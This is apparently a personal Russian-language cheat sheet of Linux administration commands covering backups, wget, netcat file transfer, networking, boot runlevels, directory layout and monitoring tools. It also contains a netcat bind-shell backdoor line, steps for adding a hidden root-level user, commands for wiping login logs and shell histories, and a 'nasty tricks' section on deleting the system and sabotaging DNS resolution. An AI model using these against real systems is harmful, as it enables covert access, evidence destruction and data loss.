sysctl -w net.ipv6.conf.all.forwarding=1 вкл маршрутизации ipv6
cat /proc/sys/net/ipv6/conf/eth0/forwarding проверка влючения маршруцизации ipv6
_____________________________________________________________
пример скрипта backup файлов
#!/bin/sh
tar -zcvpf /backup/backup-`date '+%d-%B-%Y'`.tar.gz --directory / \
--exclude=proc --exclude=var --exclude=mnt --exclude=usr --exclude=backup .
В данном примере сохраняются не отдельные директории, а корневая директория /, исключая /proc, /var, /mnt, /usr и, конечно, /backup. Также к имени файла добавляется дата создания резервной копии.
______________________________________________________________
wget -r -l 10 -k http://example.org/ Скопировать весь сайт целиком
wget --user=login --password=password ftp://ftp.example.org/some_file.iso спользование имени пользователя и пароля на FTP/HTTP
wget ftp://login:password@ftp.example.org/some_file.iso спользование имени пользователя и пароля на FTP/HTTP
wget --continue --recursive --level=1 http://www.vereskmed.ru/music/album_1/ Ну вот для примера простая команда для скачивания всего первого альбома группы "Вересковый мёд"
________________________________________________________________
zip -r -9 "название zip-архива" "имя файла или папки" "другие имена файлов или папок для добавления в архив, через пробел"
Используйте "-9" для максимальной степени сжатия (общий диапазон от 1 до 9).
Для создания zip-архива с одиночным файлом не используйте никаких опций, кроме степени сжатия.
unzip -распаковка
________________________________________________________________
где искать вредоносный код в linux
/var/at/tabs/<username>
/etc/ttys
/etc/profile
/etc/bashrc
/etc/csh.cshrc
/etc/csh.login
/etc/rc.common
~/.profile
~/.bashrc
______________________________________________________________
В OS X вредоносный код может скрываться здесь:
/System/Library/LaunchDaemons
/System/Library/Extensions
/Library/LaunchDaemons
/System/Library/LaunchAgents
/Library/LaunchAgents
/Library/StartupItems
/Library/Preferences/loginwindow.plist
~/Library/LaunchAgents
~/Library/Preference/loginitems.plist
~/Library/Preference/loginwindows.plist
Но это, скорее, касается зловреда, который работает в user mode. Изящно написанная малварь может сделать бэкдор прямо в ядре системы:
/System/Library/Caches/com.apple.kernelcaches
/System/Library/Filesystems/AppleShare/
/System/Library/Filesystems/hfs.fs/Encodings/
А еще более искусно созданные образцы задействуют расширения EFI (актуально для современных Mac'ов, построенных на платформе Intel).
_______________________________________________________________
Netcat (nc)
nc yandex.ru 80
HEAD / HTTP / 1.0
GET /HTTP /1.0
_______________________________________________________________
Netcat (nc) Передача файла
cat disk.iso | nc 127.0.0.1 5000 передача
nc -l 5000 > disk.iso прием
_______________________________________________________________
Netcat (nc) Передача папки
server# tar -cf - -C VIDEO_TS . | nc -l -p 4444 - Сделаем архив папки и прикрепим на 4444 порт
client# nc 192.168.1.1 4444 | tar xpf - -C VIDEO_TS - Получим файл с порта 4444 и распакуем
server# tar -czf - /etc/ | nc -l 3333 - Быстрый backup
client# nc 192.168.1.1 3333 | pv -b > mybackup.tar.gz
_______________________________________________________________
Netcat (nc) Передача файла
server# cat largefile | nc -l 5678 - Публикуем файл largefile на 5678 порт
client# nc 192.168.1.1 5678 > largefile - Принимаем файл с 5678 порта в новый файл largefile
server#cat backup.iso | pv -b | nc -l 3333 - Передаем файл с информацией о состоянии (прогресс)
client#nc 192.168.1.1 3333 | pv -b > backup.iso - Получаем файл с информацией о состоянии (прогресс)
_______________________________________________________________
Netcat (nc) Передача образа
server# dd if=/dev/sda0 | nc -l 4444 - Передаем образ раздела
client# nc 192.168.1.1 4444 | dd of=/dev/sda0 - Клонируем раздел
client# nc 192.168.1.1 4444 | dd of=sda0.img - или записываем образ в файл
server# dd if=/dev/hdb5 | gzip -9 | nc -l 3333
client# nc 192.168.1.1 3333 | pv -b > myhdb5partition.img.gz
_______________________________________________________________
Netcat (nc) Сканер портов
# nc -v -w 1 localhost -z 1-5901 |grep succeeded!
Connection to localhost 22 port [tcp/ssh] succeeded!
Connection to localhost 25 port [tcp/smtp] succeeded!
# nc -z 192.168.1.112 1-90
Connection to 192.168.1.112 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.112 80 port [tcp/http] succeeded!
_______________________________________________________________
Netcat (nc) Чат
zabrosov# nc -lp 4444
boss # nc 192.168.1.11 4444
_______________________________________________________________
Netcat (nc) Hacks
# nc -lp 4444 -e /bin/bash - Удаленный shell (server backdoor)
# nc -lp 4444 -e cmd.exe - Удаленный shell для Windows; -e только для win ?
# webserver
# while true; do nc -l -p 80 < hohoho.html; done - Петля на 80 порту, отдаёт html страничку
_______________________________________________________________
# Бэкап по шифрованному туннелю, с автозакрытием в конце операции
server# cat backup.iso | nc -l 3333
client# ssh -f -L 23333:127.0.0.1:3333 hohoho@192.168.1.1 sleep 10; nc 127.0.0.1 23333 | pv -b > backup.iso
_______________________________________________________________
ssh user1@remote_server
scp -r file.txt user1@remote_server:~/ скопировать в домашнею директорию
_______________________________________________________________
/etc/udev/rules.d/70-persistent-net.rules - файл отвечает за автоматическое именование интерфейсов (удали избавишь себя от лишних интерфейсов eth0-10)
______________________________________________________________
nano /etc/network/inerfaces
настройки интерфейса который получает интернет
allow-hotplug eth0 -автоматически определить интерфейс
iface eth0 inet static -статический IP адрес
address 192.168.3.112 -адрес интерфейса
netmask 255.255.255.0 -маска сети
gateway 192.168.3.1 -интернет
auto eth0
Настройка интерфейс который его раздает
iface eth1 inet static
address 192.168.15.1
netmask 255.255.255.0
auto eth1
_____________________________________________________________
Отключение ipv6
В файле /etc/sysctl.conf вставляем следующие строки -
#disable ipv6 settins
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
Сохраняем файл.
Применяем: sysctl -p
Отключение 6to4
netsh int 6to4 set st disabled
________________________________________________________________
T - Trancieve (отправление) tx передача
R - Recieve (получение) tx прием
com порт. Что такое Tx, Rx и Gnd ? = TX (передача, данные к телефону) = RX (прием, данные из телефона) , Gnd это масса (заземление).
________________________________________________________________
google.com "Таблица соответствий Windows и Linux программ"
________________________________________________________________
Мини тест хоста
nmap -P0 -p 1-65505 XXX.XXX.XXX.XXX (или хост) скан хоста
nmap -P0 -p 1-65505 127.0.0.1 скан локального хоста
netstat -anp | grep LISTEN | grep 665 кто слушает 665
lsof -i кто что слушает
netstat -nlpt кто что слушает
netstat -pantu кто что слушает
netstat -anp кто что слушает
etstats -tuep кто что слушает
cat /etc/passwd проверяем пользователей
________________________________________________________________
Как добавить юзера с правами root
будем редактировать файлы /etc/passwd и /etc/shadow каждое поле разделяется (:) двоеточием.
Редактируем файл /etc/passwd
копируем строку root:x:0:0:root:/root:/bin/bash и вставляем куда нить в середину во второй записи вместо root пишем свой желаемый логин
Редактируем файл /etc/shadow
Копируем строку root:$pass:15295:0:99999:7:::
и вставляем куда нить в середину во второй записи вместо root пишем свой желаемый логин
после двоеточия (:) идет пароль его либо стираем либо пишем свой желаемый пароль
________________________________________________________________
Немного о логах (чистим логи)
редактируются обычным редактором
/var/log/messages - что делал юзер
/var/adm/messages -что делал юзер
/var/log -демоны
редактируются командами
/var/log/wtmp -время сколько проработал юзер
/var/run/utmp -время сколько проработал юзер
вот такими командами
echo -ne > /var/log/wtmp
echo -ne > /var/run/utmp
.bash_history находиться в домашнем каталоге юзера
.mc/history находиться в домашнем каталоге юзера
________________________________________________________________
Гадости
самое тупое удаляем все rm -fr /
тупое трем загрузчик rm -fr /boot/*
chattr +i /bin защита от записи для root даже
файл /etc/nsswitch.conf стираем некоторые строки с files и db чувак долго будет думать чего у него нету инета
________________________________________________________________
apt-get remove mpt-status убираем ошибку на виртуалке связанную с raid
________________________________________________________________
md5 пароль 123456 http://www.miraclesalad.com/webtools/md5.php
MD5 Hash:
e10adc3949ba59abbe56e057f20f883e
_______________________________________________________________
Быстрая настройка сети
ifconfig eth0 inet 192.168.3.13/24
route add default gw 192.168.3.13
echo nameserver 192.168.3.1 > /etc/resolv.conf
_______________________________________________________________
Автозагрузка
# atostart 1
update-rc.d name1111 defaults -дабавить файл в авто загрузку /etc/init.d/*
update-rc.d [-n] [-f] имя remove
update-rc.d [-n] имя defaults [NN | SS KK]
# autostart 2
У нас есть скрипт, скажем /home/iptable.sh
Нужно добавить строку /home/iptable.sh в файл /etc/rc.d/rc.local
# autostart 3
пример автозагрузки скрипта от другого пользователя
cat /etc/rc.local
user=nameuser
program=/path/dir
su -m ${user} -c ${program}
# autostart 4
cat /home/dirscrit/myscript.pl
#!/bin/sh
/usr/bin/perl /home/dirscrit/myscript.pl
________________________________________________________________
Загрузачная флешка grub4dos
#из windows
1.форматнуть флешку в fat32
2.скопировать начинку
3. запустить bootice 0.9
4. выбрать нужный диск
5. install mbr > grub4dos
6. install pbr > grub4dos
#из linux
1.форматнуть флешку в fat32
2.скопировать начинку
3.сделать исполнительным chmod a+x bootlace.com
4. записать загрузчик ./bootlace.com /dev/sdb1
________________________________________________________________
Загрузка системы
Загрузившись, ядро стартует процесс init, который запускает rc, коорый в свою очередь выполняет все скрипты, соответствующего уровня запуска. Скрипты расположены в /etc/init.d и слинкованы в /etc/rc.d/rcN.d, где N, означает уровень запуска.
Уровень запуска по-умолчанию, установлен в /etc/inittab, и как правило имеет значение 3 или 5:
# grep default: /etc/inittab
id:3:initdefault:
Текущий режим работы может быть изменен с помощью все того-же init. Например, перейдем с 3 уровня на 5:
# init 5 # Переходим в режим 5
0 Shutdown and halt
1 Single-User mode (also S)
2 Multi-user without network
3 Multi-user with network
5 Multi-user with X
6 Reboot
Используйте chkconfig для конфигурирования программ, которые должны стартовать при загрузке в соответствующий режим.
# chkconfig --list # Список всех init-скриптов
# chkconfig --list sshd # Показать статус sshd
# chkconfig sshd --level 35 on # Конфигурирование sshd для уровня 3 и 5
# chkconfig sshd off # Отключение sshd для всех уровней
Debian и основанные на нем дистрибутивы, Ubuntu или Knoppix, для управления скриптами Runlevel, используют команду update-rc.d. По-умолчанию, 2,3,4 и 5 уровень для старта, и 0,1 и 6 для останова.
# update-rc.d sshd defaults # Активировать sshd с уровнем запуска по-умолчанию
# update-rc.d sshd start 20 2 3 4 5 . stop 20 0 1 6 . # Непосредственное указание уровней запуска и останова
# update-rc.d -f sshd remove # Запретить sshd для всех уровней
# shutdown -h now (or # poweroff) # Остановить и выключить систему
________________________________________________________________
fsboot Загрузка
FreeBSD и большинство Unixes
# fstat -f /home # для точки монтирования
# fstat -p PID # для приложения с PID
# fstat -u user # для имени пользователя
Найти открытый файл для Xorg:
# ps ax | grep Xorg | awk '{print $1}'
1252
# fstat -p 1252
USER CMD PID FD MOUNT INUM MODE SZ|DV R/W
root Xorg 1252 root / 2 drwxr-xr-x 512 r
root Xorg 1252 text /usr 216016 -rws--x--x 1679848 r
root Xorg 1252 0 /var 212042 -rw-r--r-- 56987 w
Найти файл с inum 212042 в директории /var можно так:
# find -x /var -inum 212042
/var/log/Xorg.0.log
________________________________________________________________
Как найти открытый файл в директории с помощью fuser или lsof
# fuser -m /home # Список процессов имеющих доступ к /home
# lsof /home
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
tcsh 29029 eedcoba cwd DIR 0,18 12288 1048587 /home/eedcoba (guam:/home)
lsof 29140 eedcoba cwd DIR 0,18 12288 1048587 /home/eedcoba (guam:/home)
Найти по PID приложения:
ps ax | grep Xorg | awk '{print $1}'
3324
# lsof -p 3324
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
Xorg 3324 root 0w REG 8,6 56296 12492 /var/log/Xorg.0.log
По имени файла:
# lsof /var/log/Xorg.0.log
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
Xorg 3324 root 0w REG 8,6 56296 12492 /var/log/Xorg.0.log
________________________________________________________________
Как редактировать список автозагрузки сервисов?
Для поклонников основанных на RedHat и Fedora дистрибутивов есть замечательная программа sysv-rc-conf. Установим ее:
root@linux# aptitude install sysv-rc-conf
Однако можно сделать тоже самое и вручную. Для этого достаточно сделать нужный файл исполняемым или наоборот, если нужно отключить автозагрузку сервиса, снять бит исполняемости:
root@linux# chmod +x /etc/init.d/foo
root@linux# chmod -x /etc/init.d/bar
Остальные могут воспользоваться "изкоробочной" утилитой update-rc.d
Не забывайте, что по умолчанию Debian использует второй уровень автозагрузки (man init, man inittab).
________________________________________________________________
Каталоги Linux
/bin - в этом каталоге размещаются утилиты (исполняемые файлы) для работы на уровне системы.
Из примеров можно привести ls, date, cp, pwd и т.д.
/sbin - в этом каталоге размещены системные утилиты и программы,
которые предназначены для управления самой системой. Пример: shutdown, init, ifconfig.
/boot - в этом каталоге размещены файлы запуска системы: ядро, файлы GRUB, initrd, а также файл конфигурации ядра.
initrd - это образ RAM-диска который используется для того, чтобы смонтировать временную
файловую систему на время загрузки ядра. По сути initrd содержит необходимые модули которые позволят
смонтировать реальную файловую систему и продолжить инициализацию и загрузку системы.
/boot/grub/ - каталог содержит загрузчик GRUB и его конфигурационные файлы.
/etc - в этом каталоге находится большинство конфигурационных файлов системы.
Содержим много подкаталогов каждый их которых отвечает за определенную область.
рассмотрим некоторые из них. /alsa - расширенная поддержка звуковых устройств, /sane.d - поддержка сканера,
/X11 - файлы графической подсистемы, /init.d - скрипты, которые управляют службами, /rc0.d - /rc6.d -
содержат скрипты, которые должны выполнятся на соответствующем уровне (runlevel), /cron.d- файлы службы
периодического запуска процессов, /cups - файлы службы печати, /samba - конфигурационные файлы одноименной системы,
/udev - файлы одноименной подсистемы.
/home - в этом каталоге размещаются домашние каталоги пользователей зарегистрированных в системе.
Как правило названия домашних каталогов совпадает с логином пользователя.
/root - каталог пользователя root.
/selinux - каталог одноименной подсистемы, которая появилась не так давно и позволяет
более жестко контролировать права пользователей (в том числе и рута) для большей безопасности.
/lib - в этом каталоге хранятся библиотеки операционной системы и приложений.
/lib/modules/ - каталог содержащий модули ядра. В этом каталоге расположены подкаталоги,
которые совпадают с версиями ядра, которые были установлены в системе. То есть для каждой версии
ядра есть свой набор модулей. Это очень важно и нужно обратить на это внимание. Часто при компиляции
ядра забывают изменять версию, новое ядро при загрузке использует модули предыдущей версии и система
не загружается. Текущую версию ядра можно узнать по команде uname -r, возвращаемая версия обязательно
совпадет с названием одного из каталогов в /lib/modules/ .
/lib/modules/версия ядра/kernel/drivers/ - модули, которые поддерживают отдельные устройства
(видеоадаптеры, сетевые карты, звуковые карты и т.д.). Например, в /lib/modules/2.6.28-15-generic/kernel/drivers/net/
находятся модули поддержки различных сетевых карт.
/lib/modules/2.6.28-15-generic/kernel/fs/ - модули поддержки различных файловых систем.
/lib/modules/2.6.28-15-generic/kernel/net/ - модули поддержки различных типов сетей (Apple Talk, X25, IPX и другие).
/mnt - каталог предназначен для монтирования в нем блочных устройств, которые не являются частью
cистемы Linux. Например, Windows-раздел жесткого диска не является частью Linux и монтируется в именно в этот каталог.
Также несколько лет назад в эту директорию монтировались и CDROM и Floppy-диски.
Сейчас могут монтироваться либо в /media либо непосредственно в корень. Зависит от дистрибутива.
/media - предназначен для монтирования блочных устройств которые подключаются физически к системе в процессе ее работы.
Самые распространенные из устройств это флешки, внешние накопители. Монтируются устройства в этот каталог как правило автоматически подсистемой udev.
/usr - в этом каталоге сохраняются все приложения (не путать с утилитами). Файлы Linux-приложений в
отличии отWindows-приложений хранятся в соответствующих папках в зависимости от типа. Поэтому в каталоге
/usr есть такие подкаталоги как /etc - для файлов конфигураций, /bin - для исполняемых файлов, /lib -
библиотеки приложений и другие. То есть получается, что /usr - это как бы корень для приложений. Также
хочу отметить, что во многих дистрибутивах конфигурационные файлы приложений могут располагаться не в
/lib/etc/, а в /etc, и каталога /lib/etc/ может не быть. В каталоге /usr также располагаются различные
службы такие как apache, bind и другие, которые не имеют непосредственного отношения к Linux. Для приложений,
которым в силу определенных причин необходимо хранить все свои файлы в одном каталоге (например это различные
кроссплтаформенные приложения) придумали директорию /opt. Например, там могут быть такие
приложения как OpenOffice, Picasa, Chrome.
/tmp - Каталог для хранения временных файлов, которые необходимы во время работы программ.
В этой директории временные файлы существуют пока работает приложение, которое их создало.
Как только приложения прекращает работу временные файлы удаляются. Временные файлы могут содержать
различную информацию и некоторые из них могут располагаться в каталоге /home/имя пользователя/tmp/.
/var - в этом каталоге хранятся различные системные файлы такие как, например, журналы
различных подсистем или буферные каталоги принтеров, электронной почты и т.д. Для системного
администратора особое внимание на каталог/var/log/ где как раз и содержаться файлы-журналы.
Так как эти файлы постоянно растут, то необходимо внимательно следить за свободным местом на
жестком диске где размещен каталок /var. Рассмотрим назначение еще нескольких подкаталогов находящихся
в /var. /var/lock/ - здесь храняться файлы котороые сигнализируют о блокировке того или иного ресурса
системы. /var/run/ - в этом каталоге запущенные службы создают подкаталоги в которых содержится файл и
идентификатором процесса службы. Например, в файле /var/run/cron.pid содержится идентификатор процесса
службыcron. Команды cat /var/run/cron.pid и ps ax | grep cron покажут, что числа совпадают. /var/mail/ -
файлы почтовых ящиков пользователей. /var/spool/ - в этом каталоге сохраняются очереди различных программ
или служб. Например,/var/spool/cups/ - содержит очереди заданий для принтеров.
________________________________________________________________
Восстановление grub
# mount /dev/sda6 /mnt # монтировать Linux partion на /mnt
# mount --bind /proc /mnt/proc # монтировать подсистему proc в /mnt
# mount --bind /dev /mnt/dev # монтировать устройства в /mnt
# chroot /mnt # сменить корневую директрорию на Linux partition
# grub-install /dev/sda # переустановить grub со старыми опциями
________________________________________________________________
для рута отключим возможность логина по SSH в /etc/ssh/sshd_config:
sudo nano /etc/ssh/sshd_config
PermitRootLogin yes → PermitRootLogin no
________________________________________________________________
atop
Atop имеет два режима работы — сбор статистики и наблюдение за системой в реальном времени.
В режиме сбора статистики atop запускается как демон и раз в N времени (обычно 10 мин)
скидывает состояние в двоичный журнал. Потом по этому журналу atop'ом же (ключ -r и имя лог-файла)
можно бегать вперёд-назад кнопками T и t, наблюдая показания atop'а с усреднением за 10 минут в любой интересный момент времени.
В отличие от top отлично знает про существование блочных устройств и сетевых интерфейса,
способен показывать их загрузку в процентах (на 10G, правда, процентов не получается, но хотя бы показывается количество мегабит).
Незаменимое средство для поиска источников лагов на сервере, так как сохраняет не только статистику загрузки системы,
но и показатели каждого процесса — то есть «полистав» до нужного момента времени можно увидеть, кто этот
счастливый момент с LA > 30 создал. И что именно было причиной — IO программ, своп (нехватка памяти),
процессор или что-то ещё. Помимо большего количества информации ещё способен двумя цветами подсказывать,
какие параметры выходят за разумные пределы.
htop
В отличие от atop, htop не собирает статистику и просто показывает текущее состояние.
iotop
Специализированная утилита для анализа потребления дисковой полосы.
iftop
Специализированная утилита, позволяющая наблюдать за трафиком в реальном времени.
Требует очень рутовых прав и pcap, т.к. работает почти аналогичо tcpdump'у. Показывает загруженность интерфейса.
sntop
Замечательная штука для скринсейвера или публичного монитора — по конфигу рассылает
пинги и показывает, если какой-то хост лёг.
xrestop
Монитор потребления ресурсов X-сервера разными приложениями, которые к нему подключились.
iptstate
Монитор contrack из iptables, показывает активные трансляции с возможностью их прибить.
________________________________________________________________
Демоны
init -Unix программа, которая порождает все остальные процессы.
biod -Работает совместно с удаленным nfsd для разрешения клиентских запросов NFS.
crond -Планировщик задач, работающий в фоновом режиме.
dhcpd -Динамически определяет конфигурацию TCP/IP для клиентов.
fingerd -Обеспечивает сетевой интерфейс для протокола finger, для использования команды finger.
ftpd -Служба FTP-запросов с удалённой системы. Прослушивает специальный порт, определённый в служебном файле для FTP.
httpd -Демон веб-сервера.
inetd -Прослеживает сетевые запросы. При допустимом запросе запускает фоновый процесс для обслуживания запроса.
xinetd -В некоторых системах используется расширенная версия
lpd -«Line Printer Daemon» (англ.) протокол управления пулом печати.
nfsd -Процесс NFS операторских запросов для клиентских систем. Исторически каждый nfsd демон поддерживает один запрос за раз, поэтому запускается несколько копий.
ntpd -NTP демон, который управляет синхронизацией времени по сети. xntpd снабжён 3-й версией стандарта NTP.
rpcbind -Обеспечивает преобразование remote procedure call (RPC), такой как ypbind.
sendmail -SMTP демон.
sshd -Прослушивает запросы secure shell от клиентов.
swapper -Копирует местный процесс в пространство swap для исправления физической страницы памяти для ядра. Также называется sched.
syslogd -Системный процесс записи различных системных сообщений.
syncd -Периодически синхронизирует установленные системные файлы с системной памятью.
xfsd -Обслуживает X11 шрифты для удалённых клиентов.
vhand -Освобождает страницы памяти для использования другими процессами. Также известен как «page stealing daemon»англ.
ypbind -Находит сервер для NIS домена и запоминает информацию в файле.
jackd -Аудио сервер
smbd, nmbd, winbindd -Серверы, предоставляющие доступ к файлам и принтерам для клиентских компьютеров с Windows по родному для тех протоколу.
Близки к службе "Сервер" в Windows (в W'XP да, для остальных хорошо бы уточнить, т.к. для 16-битных Windows такой службы
точно не было; да и в W95/98/ME, скорее всего, тоже).
cupsd -Сервер работы с печатью. Как доступ к удаленным принтерам, доступ к локальным, доступ извне к локальным.
mysqld -Демон базы данных MySQL
dbus-daemon -Демон для работы с шиной данных
________________________________________________________________